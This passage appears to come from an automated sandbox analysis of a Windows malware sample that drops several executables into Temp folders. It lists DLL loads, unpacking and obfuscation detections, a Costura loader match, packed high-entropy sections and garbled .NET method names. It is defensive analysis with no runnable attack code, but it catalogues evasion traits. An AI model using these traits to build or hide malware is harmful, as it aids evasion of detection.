Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Section loaded: schannel.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3013632 > 1048576

Source: file.exe

Static PE information: Raw size of xjrelixn is bigger than: 0x100000 < 0x2ae200

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 521206d971.exe, 0000000E.00000002.2672691270.0000000005770000.00000004.08000000.00040000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003ECD000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 521206d971.exe, 0000000E.00000002.2672691270.0000000005770000.00000004.08000000.00040000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003ECD000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.1000000.0.unpack :EW;.rsrc:W;.idata :W;xjrelixn:EW;nmafcnuu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xjrelixn:EW;nmafcnuu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;xjrelixn:EW;nmafcnuu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xjrelixn:EW;nmafcnuu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;xjrelixn:EW;nmafcnuu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xjrelixn:EW;nmafcnuu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.eb0000.1.unpack :EW;.rsrc:W;.idata :W;xjrelixn:EW;nmafcnuu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xjrelixn:EW;nmafcnuu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Unpacked PE file: 11.2.0a60e3a257.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Unpacked PE file: 16.2.a219613819.exe.8e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;euhadjik:EW;fyvcfwgt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;euhadjik:EW;fyvcfwgt:EW;.taggant:EW;

.NET source code contains potential unpacker

Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])

Yara detected Costura Assembly Loader

Source: Yara match	File source: 14.2.521206d971.exe.5610000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.521206d971.exe.3e2d790.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2672043210.0000000005610000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2665450107.0000000003023000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 521206d971.exe PID: 2024, type: MEMORYSTR

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x4488ec should be: 0x44fd50
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xd0b9a
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: a219613819.exe.6.dr	Static PE information: real checksum: 0x4569f0 should be: 0x4523d8
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: 0a60e3a257.exe.6.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: b4955bcdf6.exe.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x5094b
Source: random[2].exe1.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x5094b
Source: 623cea31e9.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 521206d971.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: file.exe	Static PE information: real checksum: 0x2dfffd should be: 0x2e1209
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2dfffd should be: 0x2e1209
Source: 9c795b1b74.exe.6.dr	Static PE information: real checksum: 0x4488ec should be: 0x44fd50
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 173fa614c9.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xd0b9a
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x4569f0 should be: 0x4523d8

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: xjrelixn
Source: file.exe	Static PE information: section name: nmafcnuu
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: xjrelixn
Source: skotes.exe.0.dr	Static PE information: section name: nmafcnuu
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: obbejfdq
Source: random[1].exe.6.dr	Static PE information: section name: msdghfca
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 9c795b1b74.exe.6.dr	Static PE information: section name:
Source: 9c795b1b74.exe.6.dr	Static PE information: section name: .idata
Source: 9c795b1b74.exe.6.dr	Static PE information: section name:
Source: 9c795b1b74.exe.6.dr	Static PE information: section name: obbejfdq
Source: 9c795b1b74.exe.6.dr	Static PE information: section name: msdghfca
Source: 9c795b1b74.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: euhadjik
Source: random[2].exe.6.dr	Static PE information: section name: fyvcfwgt
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: a219613819.exe.6.dr	Static PE information: section name:
Source: a219613819.exe.6.dr	Static PE information: section name: .idata
Source: a219613819.exe.6.dr	Static PE information: section name:
Source: a219613819.exe.6.dr	Static PE information: section name: euhadjik
Source: a219613819.exe.6.dr	Static PE information: section name: fyvcfwgt
Source: a219613819.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name: .CODE
Source: 173fa614c9.exe.6.dr	Static PE information: section name: .CODE
Source: random[2].exe1.6.dr	Static PE information: section name: .eh_fram
Source: b4955bcdf6.exe.6.dr	Static PE information: section name: .eh_fram
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: uzxdwyvi
Source: random[1].exe1.6.dr	Static PE information: section name: efzdldig
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 0a60e3a257.exe.6.dr	Static PE information: section name:
Source: 0a60e3a257.exe.6.dr	Static PE information: section name: .idata
Source: 0a60e3a257.exe.6.dr	Static PE information: section name:
Source: 0a60e3a257.exe.6.dr	Static PE information: section name: uzxdwyvi
Source: 0a60e3a257.exe.6.dr	Static PE information: section name: efzdldig
Source: 0a60e3a257.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101D91C push ecx; ret	0_2_0101D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01011359 push es; ret	0_2_0101135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00ECD91C push ecx; ret	1_2_00ECD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00ECD91C push ecx; ret	2_2_00ECD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ECD91C push ecx; ret	6_2_00ECD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ECFD61 push cs; ret	6_2_00ECFD63
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EEDEDB push ss; iretd	6_2_00EEDEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ECDFC6 push ecx; ret	6_2_00ECDFD9

Source: file.exe	Static PE information: section name: entropy: 7.972610826495892
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.972610826495892
Source: random[1].exe.6.dr	Static PE information: section name: obbejfdq entropy: 7.954225116292913
Source: 9c795b1b74.exe.6.dr	Static PE information: section name: obbejfdq entropy: 7.954225116292913
Source: random[2].exe.6.dr	Static PE information: section name: euhadjik entropy: 7.954343878891304
Source: a219613819.exe.6.dr	Static PE information: section name: euhadjik entropy: 7.954343878891304
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[1].exe1.6.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: 0a60e3a257.exe.6.dr	Static PE information: section name: entropy: 7.974324170155358
Source: 0a60e3a257.exe.6.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: random[1].exe2.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: 521206d971.exe.6.dr	Static PE information: section name: .text entropy: 7.73440914387992

Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
